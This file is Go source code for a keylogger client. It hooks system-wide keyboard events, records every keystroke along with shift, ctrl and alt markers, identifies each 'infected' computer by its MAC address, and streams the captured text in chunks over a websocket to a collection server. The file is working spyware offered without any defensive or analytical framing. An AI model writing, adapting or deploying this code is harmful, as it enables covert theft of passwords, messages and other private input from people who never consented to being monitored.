package main

import (
	"bytes"
	"crypto/rand"
	"encoding/hex"
	"fmt"
	"net"
	"net/url"
	"os"
	"strings"
	"time"

	"github.com/gorilla/websocket"
	"github.com/labstack/gommon/log"
	hook "github.com/robotn/gohook"
)

const (
	SHIFT_RAWCODE = 65505
	CTRL_RAWCODE  = 65507
	ALT_RAWCODE   = 65513
	DEL_KEYCHAR   = 8
	ENTER_KEYCHAR = 13
	REG_START     = 32
	REG_END       = 255

	BUFF_SIZE     = 16  // shouldn't be lower than 8 (because overflow might happen), shouldn't be higher than 128 (because the message frequency will be too low and data may be lost)
)

// get mac address so we can differentiate between separate infected computers/clients
func getId() []byte {
	interfaces, err := net.Interfaces()
	if err != nil {
		panic(err)
	} else {
		for _, i := range interfaces {
			if (strings.HasPrefix(strings.ToLower(i.Name), "e") || strings.HasPrefix(strings.ToLower(i.Name), "w")) && i.Flags&net.FlagUp != 0 && i.Flags&net.FlagLoopback == 0 && !bytes.Equal(i.HardwareAddr, nil) {
				return i.HardwareAddr
			}
		}
	}

	id := make([]byte, 6)
	rand.Read(id)
	return id
}

func main() {
	log.SetHeader("${time_rfc3339} ${level}")
	debugRaw := strings.ToLower(os.Getenv("DEBUG"))
	if debugRaw == "true" || debugRaw == "1" || debugRaw == "yes" {
		log.SetLevel(log.DEBUG)
	} else {
		log.SetLevel(log.WARN)
	}

	id := getId()
	var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: "/keys", RawQuery: fmt.Sprintf("id=%s", hex.EncodeToString(id))}

	
	var conn *websocket.Conn
	var err error
	var tries = 0
	for {
		log.Debugf("attempting to dial: %s", resource.String())
		conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil)
		if err != nil {
			log.Errorf("dialing failed")
			tries += 1
			if tries >= 3 {
				return
			}
			time.Sleep(time.Second)
		} else {
			log.Infof("dialing succesful")
			break
		}
	}
	defer conn.Close()

	go func() {
		defer os.Exit(0) // if error occurs or conn is closed, exit the program
		for {
			kind, _, err := conn.ReadMessage()
			log.Debugf("read message of kind %v", kind)
			if err != nil {
				return
			}
			if kind == websocket.CloseMessage {
				return
			}
		}
	}()

	evChan := hook.Start()
	defer hook.End()
	buff := make([]byte, BUFF_SIZE * 2)

	for ev := range evChan {
		log.Debugf("received event: %d (%c)", ev.Rawcode, ev.Keychar)

		switch ev.Rawcode {
		case SHIFT_RAWCODE:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[shift]")...)
			} else if ev.Kind == hook.KeyUp {
				buff = append(buff, []byte("[SHIFT]")...)
			}
			continue

		case CTRL_RAWCODE:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[ctrl]")...)
			} else if ev.Kind == hook.KeyUp {
				buff = append(buff, []byte("[CTRL]")...)
			}
			continue

		case ALT_RAWCODE:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[alt]")...)
			} else if ev.Kind == hook.KeyUp {
				buff = append(buff, []byte("[ALT]")...)
			}
			continue

		case DEL_KEYCHAR:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[del]")...)
			}
			continue
		}

		switch ev.Keychar {
		case DEL_KEYCHAR:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[del]")...)
			}
			continue

		case ENTER_KEYCHAR:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("\n")...)
			}
			continue
		}

		if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
			if ev.Kind == hook.KeyDown {
				buff = append(buff, byte(ev.Keychar))
			}
		}

		if len(buff) >= BUFF_SIZE {
			log.Debugf("writing buffer")
			conn.WriteMessage(websocket.TextMessage, buff[:BUFF_SIZE])
			buff = buff[BUFF_SIZE:]
		}
	}
}